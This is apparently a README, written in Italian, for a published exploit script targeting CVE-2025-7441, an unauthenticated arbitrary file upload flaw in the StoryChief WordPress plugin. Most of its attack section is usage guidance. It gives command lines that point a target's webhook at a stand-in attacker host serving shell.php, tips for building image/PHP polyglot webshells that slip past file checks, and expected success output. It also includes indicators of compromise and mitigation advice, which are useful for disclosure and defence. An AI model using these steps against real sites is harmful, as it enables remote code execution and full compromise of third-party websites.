CVE-2025-7441
StoryChief <= 1.0.42 - Caricamento Arbitrario di File Non Autenticato
🚨 StoryChief <= 1.0.42 — Caricamento Arbitrario di File Non Autenticato (CVE-2025-7441)
ℹ️ Riepilogo
Le versioni di StoryChief (plugin WordPress) fino alla 1.0.42 compresa espongono una critica vulnerabilità di caricamento arbitrario di file non autenticato tramite l'endpoint REST /wp-json/storychief/webhook. Un attaccante può indurre il plugin a recuperare e salvare una risorsa remota controllata dall'attaccante (ad esempio una webshell) nella directory degli upload del sito, consentendo l'esecuzione remota di codice in molte installazioni WordPress predefinite.
- CVE: CVE-2025-7441
- CVSS: 9.8 (Critico)
💥 Impatto
- Caricamento remoto non autenticato di file in wp-content/uploads/YYYY/MM/.
- Potenziale esecuzione remota di codice quando il file caricato è eseguibile (ad es. PHP).
- Compromissione completa del sito possibile quando WordPress è configurato per eseguire il PHP caricato sotto la root del documento.
🧩 Causa Principale della Vulnerabilità
Il plugin accetta un payload JSON in arrivo (evento di pubblicazione) che contiene un campo featured_image -> data -> sizes -> full che punta a un URL arbitrario. StoryChief non esegue una validazione sufficiente del tipo/contenuto del file né limita la fonte dell'URL, consentendo al plugin di recuperare la risorsa remota e salvarla nella directory degli upload del sito. Non c'è una validazione sufficiente per impedire la memorizzazione di file che contengono codice eseguibile.
🛠️ Script di Exploit — cosa fa (mappatura alla vulnerabilità)
Questa sezione spiega lo script di exploit (fornito separatamente) ad alto livello e mappa ogni comportamento importante alla vulnerabilità sottostante.
- Analisi degli argomenti CLI — URL di destinazione (-u/--url), URL shell remota (-shell), chiave HMAC opzionale, intestazioni, flag proxy/timeout/retry, opzioni di debug e solo stampa.
- Normalizzazione del target — aggiunge /wp-json/storychief/webhook quando viene fornita una root del sito.
- Validazione dell'URL shell — verifica che l'URL remoto sia raggiungibile (HEAD/GET o curl).
- Estrazione del nome file — usa il nome base dell'URL remoto per dedurre il nome file finale negli upload.
- Costruzione del payload — inserisce l'URL controllato dall'attaccante in data.featured_image.data.sizes.full per forzare il plugin a recuperare e salvare il file.
- Firma HMAC (opzionale) — calcola meta.mac (HMAC-SHA256) usando una chiave esadecimale opzionale; alcuni server potrebbero ignorarlo o richiederlo.
- Invio — usa requests con retry/backoff o curl come fallback, supporta intestazioni personalizzate, proxy e --no-verify.
- Gestione della risposta — analizza le risposte JSON per le chiavi permalink/id per rilevare il successo; altrimenti segnala il fallimento.
- Output — stampa il percorso previsto per gli upload: wp-content/uploads/YYYY/MM/ in caso di successo.
🖼️ Requisiti del file Shell (critico)
Quando si utilizza un file remoto .php (ad esempio: https://attacker.example/shell.php) il file deve includere una intestazione immagine valida (byte magici) in modo che venga trattato/accettato come immagine dal plugin o dal codice di elaborazione delle immagini. Punti chiave:
- Utilizzare un approccio poliglotta: il file deve iniziare con byte magici di immagine validi (es. JPEG, PNG o GIF) in modo che i controlli semplici e gli elaboratori di immagini lo accettino, contenendo anche il payload PHP in una sezione che rimane sul disco invariata.
- Byte magici comuni per immagini:
- JPEG: 0xFF 0xD8 0xFF
- PNG: 0x89 0x50 0x4E 0x47
- GIF: ASCII "GIF89a" o "GIF87a"
- Non affidarsi solo all'estensione/nome file. Molti plugin ispezionano il contenuto del file o usano librerie (GD, ImageMagick) che verificano l'integrità dell'immagine.
- Dipendente dall'ambiente: alcuni server convalideranno o ricodificheranno ulteriormente le immagini, il che potrebbe rimuovere il codice iniettato. Testare prima in un ambiente autorizzato.
- Promemoria etico: NON pubblicare codice webshell funzionante qui. Creare e testare tali file solo in ambienti autorizzati.
▶️ Come eseguire (esempi)
Sostituisci i segnaposto con target autorizzati. Tutti gli esempi seguenti utilizzano un URL di shell remota .php.
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php
- Con percorso webhook esplicito e debug:
python3 CVE-2025-7441.py -u https://target.example/wp-json/storychief/webhook -shell https://attacker.example/shell.php --debug
- Usa curl invece di requests:
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --use-curl
- Stampa solo il payload (non inviare):
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --print-only
Flag importanti:
- --no-verify: salta la verifica TLS (usare con cautela).
- --proxy: instradare le richieste attraverso un proxy.
- --header "Key: Value": aggiungere intestazioni personalizzate.
📤 Output previsti
- Esecuzione riuscita:
- Uploaded: wp-content/uploads/2025/10/shell.php
- Esempi di debug:
- [DEBUG] shell HEAD status: 200
- [DEBUG] post status: 200
- [DEBUG] curl cmd: curl -s -X POST https://target... -H Content-Type: application/json -d '{"meta":...}'
- Messaggi di fallimento:
- "[-] Error: shell URL is not reachable (not HTTP 200)"
- "[-] Error: request failed"
- "[-] Error: upload failed or endpoint returned non-JSON/HTML"
🔎 Rilevamento e Indicatori di Compromissione (IoC)
- Richieste POST inaspettate a /wp-json/storychief/webhook da IP sconosciuti.
- Nuovi file in wp-content/uploads/// con estensione PHP o estensioni immagine contenenti codice incorporato.
- Log del server web che mostrano GET in uscita verso domini controllati dall'attaccante seguiti da accessi ai file caricati.
- File immagine sospetti con contenuto non immagine aggiunto o incorporato.
🛡️ Mitigazione e Rimedio
Breve termine:
- Aggiornare StoryChief a una versione corretta non appena disponibile.
- Bloccare o limitare /wp-json/storychief/webhook tramite WAF o regole del server.
- Limitare i recuperi in uscita dal server o l'egress verso domini non fidati.
Guida per sviluppatori:
- Validare tipi e contenuti dei file dopo qualsiasi recupero remoto; verificare le immagini utilizzando parser sicuri e rifiutare file non validi.
- Richiedere l'autenticazione per i webhook che causano download o creazione di file lato server.
- Assicurarsi che la verifica HMAC/firma sia implementata e applicata.
- Memorizzare i contenuti caricati al di fuori della webroot o disabilitare l'esecuzione dei file caricati in wp-content/uploads (regole del server web).
⚠️ Limitazioni e Avvertenze
- Il successo dell'exploit dipende dalla configurazione del server, dalle librerie di elaborazione delle immagini e dalle policy di esecuzione del server web.
- I server che rielaborano o ricodificano le immagini potrebbero rimuovere i payload iniettati.
- Se il plugin verifica le firme, fornire un mac errato potrebbe causare il rifiuto.
🤝 Uso Responsabile
Questo documento è destinato a difensori e tester autorizzati. Non utilizzare queste tecniche contro sistemi di cui non si possiede o di cui non si ha esplicita autorizzazione al test. Lo sfruttamento non autorizzato è illegale e non etico.
Se si segnala il problema a un fornitore o proprietario del sito, includere dettagli di riproduzione, passaggi di mitigazione sicuri e suggerimenti per la correzione.
📚 Riferimenti e Crediti
- Report e script di exploit di: Nxploited (Khaled Alenazi) — nome file script: CVE-2025-7441.py (fornito separatamente)
- CVE: CVE-2025-7441
- CVSS: 9.8